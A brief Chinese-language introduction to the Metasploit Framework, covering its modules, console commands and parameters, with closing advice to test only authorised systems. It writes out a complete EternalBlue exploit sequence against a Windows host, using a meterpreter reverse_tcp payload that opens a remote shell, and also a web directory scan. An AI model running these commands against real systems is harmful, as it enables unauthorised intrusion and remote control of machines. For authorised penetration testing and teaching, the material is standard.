🔐

Metasploit

工具简介

Metasploit Framework是一个用于开发、测试和执行漏洞利用的开源平台。它提供了大量的漏洞利用模块、辅助模块和有效载荷,是渗透测试和漏洞研究的重要工具。

主要功能

漏洞利用

提供大量预编译的漏洞利用模块

有效载荷

支持多种类型的攻击载荷

辅助模块

提供信息收集和漏洞扫描功能

后渗透模块

提供系统提权和后渗透功能

基本用法

# 启动Metasploit
msfconsole

# 搜索漏洞利用模块
search exploit windows

# 使用漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue

# 设置目标
set RHOSTS 192.168.1.100

# 设置有效载荷
set payload windows/x64/meterpreter/reverse_tcp

# 设置本地主机
set LHOST 192.168.1.1

# 执行漏洞利用
exploit

常用参数

参数 说明
RHOSTS 目标主机地址
RPORT 目标端口
LHOST 本地主机地址
LPORT 本地端口
PAYLOAD 攻击载荷

使用示例

示例1:Windows SMB漏洞利用

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.1
exploit

利用EternalBlue漏洞获取Windows系统权限

示例2:Web应用漏洞扫描

use auxiliary/scanner/http/dir_scanner
set RHOSTS example.com
run

扫描Web应用目录结构

安全提示

  • 仅对授权的系统进行测试
  • 在测试环境中谨慎使用漏洞利用
  • 注意漏洞利用可能造成系统不稳定
  • 遵守相关法律法规和测试规范